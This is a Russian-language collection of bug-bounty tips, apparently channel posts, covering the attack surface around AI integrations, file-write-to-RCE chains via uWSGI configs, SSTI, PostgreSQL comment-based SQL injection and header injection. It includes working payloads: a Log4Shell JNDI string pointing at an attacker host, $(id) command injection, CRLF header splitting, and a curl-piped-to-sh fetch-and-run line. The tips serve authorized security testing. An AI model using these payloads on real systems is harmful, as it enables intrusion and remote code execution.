🧠 Инфраструктура вокруг модели — вот где живут баги

Сложность ИИ-систем выходит далеко за пределы самих моделей. Уязвимости возникают там, где ИИ взаимодействует с внешним миром — и вот почему:

💜ИИ-функциональность нередко использует iframe или компоненты с динамическим рендерингом

Это снова открывает возможности для классических атак на клиенте, таких как XSS и небезопасная работа с postMessage. Всегда проверяйте интеграцию LLM на фронте.

💜Кастомные API, которые подключаются к моделям, требуют тщательного тестирования

Обратите внимание на IDOR или другие ошибки контроля доступа — особенно в том, как API обрабатывает данные ещё до того, как они попадут в модель.

👉 Помимо этого, существуют и специфические уязвимости, характерные для ИИ-систем:

— В системах RAG (Retrieval Augmented Generation) может произойти утечка внутренних данных
— В архитектурах с циклической логикой возможны злоупотребления через tool chaining
— Даже LLM, работающие в CLI, могут быть уязвимы к атакам с использованием ANSI escape-последовательностей

⤴️ Arbitrary file write —> Remote code execution

В реальной практике существует несколько кейсов, с которыми можно столкнуться при повышении от AFW к RCE в веб-приложениях. Их можно обобщенно разделить на следующие категории:

🔘Контроль полного пути файла или только имени загружаемого файла, но не его содержимого.

В зависимости от разрешений, применяемых к целевой директории и целевому приложению, последствия могут варьироваться от DoS до вмешательства в логику приложения с целью обхода потенциально уязвимых функций.

🔘Контроль только над содержимым загружаемого файла, но не над его путем. В этом случае последствия могут сильно различаться из-за множества факторов.

🔘Полная произвольная запись файла: контроль и над путем, и над содержимым файла. Это часто приводит к RCE с использованием различных методов.

Тактики для достижения RCE через AFW:

1️⃣ Перезапись или добавление файлов, обрабатываемых сервером:

— Конфигурационные файлы (.htaccess, .config, web.config, httpd.conf)
— Исходники, доступные для выполнения (.php, .jsp)
— Временные/сессионные файлы, файлы с секретами

2️⃣ Манипуляции с procfs для выполнения произвольного кода

3️⃣ Перезапись системных файлов:

— Cron, bash-скрипты (.bashrc, .bash_profile)
— Файлы authorized_keys и authorized_keys2 для получения доступа через SSH

👉 Еще один интересный кейс

Предположим, что уязвимость позволяет загружать и изменять файлы через функцию экспорта в PDF.

Приложение работает на uWSGI, который поддерживает различные способы конфигурации, включая загрузку конфигов через обычные .ini файлы.

uWSGI поддерживает «магические» переменные (@exec://), которые позволяют выполнять произвольные команды.

При включенной опции py-auto-reload перезагрузка конфигурации может быть вызвана изменением Python-файлов, что дает шанс выполнить команду.

💪 Собираем в цепочку

1️⃣ Генерируем и проверяем PDF-файл:

 
uwsgi --ini payload.pdf

2️⃣ Загружаем payload.pdf в /app/console/uwsgi-sockets.ini

3️⃣ Ждем перезапуск сервера или принудительно перезагружаем uWSGI, перезаписав все .py файлы

4️⃣ Проверяем коллбэк и сдаем багу

Что отличает опытного багхантера от новичка? Возможность наткнуться на что-то с низким импактом и раскрутить до более серьезной проблемы💡

Web cache deception — в помощь!

💡 4 простых способа обхода ошибки 403 (Forbidden) и получения доступа к админке

Это далеко не все возможные методы обхода ограничений, но даже такие простые и зачастую недооцененные техники могут быть весьма эффективными.

💬 Какие способы вам удавалось применять на практике? Делитесь в комментариях 👇

🔥 Реверс JavaScript еще никогда не был таким простым

В DevTools есть функция debug(), которая ставит breakpoint каждый раз, когда вызывается переданный в нее аргумент.

Это работает даже для встроенных методов — больше не нужно оборачивать их в прокси.

debug(DOMParser.prototype.parseFromString)

💨 Повышаем импакт SSTI до RCE

Когда веб-приложение обрабатывает пользовательский ввод как часть шаблона, можно использовать встроенные функции шаблонизатора для отображения пользовательских данных, доступа к секретам, чтения локальных файлов и даже удаленного выполнения кода.

Но перед этим важно идентифицировать потенциальную уязвимость SSTI. Один из способов — преднамеренно вызвать ошибку с использованием различных спецсимволов:

{
}
$
#
@
%)
"
'
|
{{
}}
${
<%
<%= 
%>

Как только мы подтвердим точку инъекции, переходим к следующему этапу — отправке различных пэйлоадов для инъекций в шаблон и наблюдению за тем, какие из них были обработаны.

Этот этап критичен, так как он поможет определить используемый движок шаблонов и создать эффективный пэйлоад для эксплуатации.

Все движки шаблонов используют различный синтаксис, но некоторые элементы могут быть схожи. Несколько часто используемых движков шаблонов рассмотрено в недавнем гайде от Intigriti:

▪️Python: Jinja2, Mako
▪️PHP: Twig, Smarty
▪️JavaScript: EJS, Handlebars, Pug
▪️Java: Thymeleaf, FreeMarker, Pebble
▪️C#: Razor
▪️Ruby: ERB, HAML, Slim

🧐 Эксплуатация SQL-инъекций при использовании prepared statements

Даже если приложение безопасно обрабатывает SQL-запросы и предпринимаются меры для защиты от SQL-инъекций, использование уязвимой сторонней библиотеки всё равно может свести защиту на нет.

Чаще всего всё ломается на строковых параметрах — если они плохо экранируются, можно сломать синтаксис запроса. Но что если сломать запрос можно не только строками? Например — комментариями.

MySQL требует пробел после --, чтобы строка была интерпретирована как комментарий. А вот PostgreSQL — нет. И тут всё зависит от режима работы:

#️⃣Простой (simple query) — SQL-строка уходит целиком, а параметры клиент подставляет сам.

#️⃣Расширенный (extended query) — SQL и параметры передаются отдельно, что исключает любые синтаксические фокусы.

Но многие клиенты PostgreSQL по умолчанию работают в простом режиме. А иногда расширенный вообще отключён — как, например, в старом PgBouncer или в некоторых конфигах Datadog.

В простом режиме все зависит от того, как библиотека вставит параметры. Например, PgJDBC при запросе SELECT 1-? и значении параметра -1 сгенерирует:

SELECT 1--1

PostgreSQL воспримет -- как комментарий и просто проигнорирует 1. Такая же история — в pg-promise, pgx, pg, pgdriver.

Но можно зайти ещё дальше. Если параметр — многострочная строка, можно внедрить свой код. Комментарий завершится на символе перевода строки, и остальная часть кода будет исполнена. Это даёт возможность внедрить произвольный SQL-код, если вы контролируете параметры.

🔗 Пруфы — в исследовании команды Sonar

🤔 Нашли слишком простую багу? Подумайте шире. Reflected XSS + слабая логика = полный захват аккаунта.

🖼️ Делегирование событий в JavaScript

Одна из интересных техник, на которую стоит обратить внимание при поиске багов в JS-коде — это делегирование событий. Вместо того чтобы вешать обработчик на каждый элемент, его вешают на document и обрабатывают клики через event.target.

🚨 Ключевой момент: такие обработчики работают даже для новых элементов, добавленных позже, например, через HTML-инъекцию.

Если вы можете внедрить элемент:

<a class="btn" href="https://evil.com">Click me</a>

и приложение уже слушает .btn на document — ваш элемент тоже будет обработан, как «родной».

💥 Это может привести к:

▪️Переходу по ссылке.
▪️Отправке запроса.
▪️Запуску JS-функции.

🔍 Ищите такие обработчики, проверяйте селекторы и пробуйте инжектить элементы, которые их триггерят.

💨 X-Correlation Injection: когда X-Request-ID становится оружием

HTTP-заголовки вроде X-Request-ID, X-Correlation-ID или x-trace-id нужны для трассировки запросов, но часто попадают в CI/CD, логи, мониторинг и даже в shell-команды. А значит — расширяют поверхность атаки.

🔍 Как искать

▪️Ищите заголовки с id в ответе (x-transaction-id, x-corellation-id, access-control-*).

▪️Проверяйте, отражается ли значение вашего заголовка в ответе — это может быть индикатором уязвимости.

▪️Фаззинг: вставляйте случайные ASCII-символы и смотрите на ошибки/аномалии (500, странное поведение).

x-request-id: ' " % & > [ $

💥 Примеры атак

🧵 Header Injection
x-request-id: 1%0d%0ax-account:456 → внедрение нового заголовка

☕️ Java header split
x-request-id: 1%c4%8d%c4%8anew-header: f00 → \u010d может стать \n → новый заголовок

💻 Command Injection
x-request-id: $(id) → прямое выполнение в shell-контексте

🧨 Log4Shell
x-request-id: ${jndi:rmi://x${sys:java.version}.attacker/a} — да, оно до сих пор встречается 😳

🧬 JSON Injection
x-request-id: 1"}. "payload":{"account":"456","foo":" → если заголовок попал в JSON — можно ломать структуру

🕵️‍♂️ Оптимизация OOB/Blind RCE

При выборе пэйлода для OOB/Blind-атаки важно учитывать, что он может попасть в разные контексты. Поэтому — минимум спецсимволов, чтобы не сломать формат. Что важно учитывать:

▪️Сбор данных после триггера.

▪️Байпас WAF: ${IFS} для пробелов в shell могут блочить, но $IFS — нет.

▪️Избегайте пробелов вообще — они могут "сломать" пэйлоад в разных контекстах.

▪️Используйте уникальный пэйлоад, чтобы отслеживать факты сработки (своего рода request-id).

▪️Если пэйлоад сработал и, например, вызвал команду curl на целевом сервере — это значит, что curl’у можно отдать bash-скрипт со своего сервера.

▪️Оповещение о событиях через Discord/Slack/Telegram.

Пример из практики:

'`curl$IFS@mydomain|sh`'$(curl$IFS@mydomain|sh)